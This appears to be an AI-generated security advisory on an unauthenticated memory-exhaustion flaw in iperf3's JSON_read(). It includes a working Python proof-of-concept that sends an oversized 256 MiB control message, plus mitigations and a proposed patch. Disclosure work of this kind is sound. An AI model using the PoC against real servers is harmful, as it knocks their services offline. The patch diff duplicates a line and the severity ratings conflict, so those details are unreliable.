AI_ONLY_REPORT
package: iperf3-3.17.1-5.el10_1
------
Summary: Unbounded JSON message length leads to remote memory-exhaustion  
DoS in JSON_read(): `JSON_read()` accepts a peer-controlled 32-bit  
control-message length and allocates that size without an upper bound,  
allowing a remote peer to trigger excessive memory consumption before  
optional authentication is evaluated.
Requirements to exploit: Network reachability to an `iperf3` instance  
running in server mode, plus the ability to send the initial  
control-channel cookie and a crafted 4-byte big-endian length followed by a  
large JSON payload. No prior authentication or user interaction is required.
Component affected: `iperf3-3.17.1-5.el10_1`, control-channel parser in  
`src/iperf_api.c`, function `JSON_read()`.
Version affected: `iperf3-3.17.1-5.el10_1` when used in server mode with  
the control port reachable by an attacker
Patch available: no released package fix established; proposed patch  
included below
Version fixed: unknown
Upstream coordination: Not notified.
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - 5.3 (MEDIUM)
AV:N - The flaw is reachable by sending a crafted control-channel  
message over the network to an `iperf3` server.
AC:L - Exploitation only requires establishing a control connection and  
sending a large framed JSON message.
PR:N - The allocation occurs before optional authentication is processed.
UI:N - No user interaction is required.
S:U - The impact is confined to the vulnerable `iperf3` service.
C:N - No confidentiality impact is established.
I:N - No integrity impact is established.
A:L - The issue can cause significant memory pressure, severe slowdown,  
or process termination, but the demonstrated impact is resource exhaustion  
whose practical severity depends on runtime memory policy and deployment  
limits.
Impact: Important. This matches Red Hat's Important rating because an  
unauthenticated remote attacker can cause denial of service against the  
`iperf3` service. It does not appear Critical because the available  
evidence supports availability impact in the `iperf3` process, not  
arbitrary code execution or broader system compromise.
Embargo: no
Reason: The issue is limited to availability impact, requires the  
`iperf3` control port to be reachable, and can be mitigated operationally  
by restricting exposure until a fixed package is available.
Acknowledgement: Aisle Research
Vulnerability Details: In `src/iperf_api.c`, `JSON_read()` derives the  
allocation size directly from a peer-supplied length field and performs the  
allocation without enforcing a maximum control-message size:
```c
hsize = ntohl(nsize);
strsize = hsize + 1;              /* +1 for trailing NULL */
if (strsize) {
str = (char *) calloc(sizeof(char), strsize);
if (str != NULL) {
rc = Nread(fd, str, hsize, Ptcp);
if (rc >= 0) {
if (rc == hsize) {
json = cJSON_Parse(str);
}
}
}
free(str);
}
```
A remote peer can reach this on the server path `iperf_accept()` ->  
`iperf_exchange_parameters()` -> `get_parameters()` -> `JSON_read()`.  
Optional authentication, when configured, is evaluated only after  
`get_parameters()`, so it does not prevent the allocation attempt. The  
established impact is denial of service through memory pressure, severe  
slowdown, or process termination depending on available memory and  
overcommit behavior.
Steps to reproduce:
1. Start the server:
```bash
iperf3 -s
```
2. From a client, send a valid cookie followed by an oversized JSON length  
and matching payload:
```bash
python3 - <<'PY'
import socket, struct
HOST="127.0.0.1"; PORT=5201
s=socket.create_connection((HOST,PORT))
cookie=b"A"*36+b"\0"                 # 37 bytes
s.sendall(cookie)
n=256*1024*1024                      # 256 MiB (adjust up/down as needed)
s.sendall(struct.pack("!I", n))
s.sendall(b"{" + b" "*(n-2) + b"}")  # syntactically valid large JSON
input("sent; press enter to close")
PY
```
3. Observe server memory usage with `top`, `ps`, or container memory  
metrics. Expected result: `JSON_read()` attempts the large allocation  
before auth checks; the effect can range from severe slowdown to OOM  
termination depending on system memory and overcommit settings.
Mitigation: Until a fixed package is available, do not expose the `iperf3`  
control port to untrusted networks. Restrict access to trusted clients and,  
where possible, run the service with process or container memory limits.  
Authentication alone is not sufficient mitigation because the allocation  
occurs before auth token processing.
Proposed Fix: Reject zero-length and oversized control-channel JSON frames  
before allocation.
```diff
diff --git a/src/iperf_api.c b/src/iperf_api.c
@@
+#define IPERF_MAX_JSON_LEN (1024 * 1024U)  /* 1 MiB control-channel cap */
@@ static cJSON *JSON_read(int fd)
   hsize = ntohl(nsize);
+    hsize = ntohl(nsize);
+    if (hsize == 0 || hsize > IPERF_MAX_JSON_LEN) {
+        printf("WARNING:  JSON data length out of bounds: %u\n", hsize);
+        return NULL;
+    }
      /* Allocate a buffer to hold the JSON */
      strsize = hsize + 1;              /* +1 for trailing NULL */
```


Optional hardening: reject excessively large string fields copied from  
parsed JSON objects such as `title`, `extra_data`, or `authtoken` to reduce  
post-parse amplification.
------
This report was generated using AI technology. Always review AI-generated  
content prior to use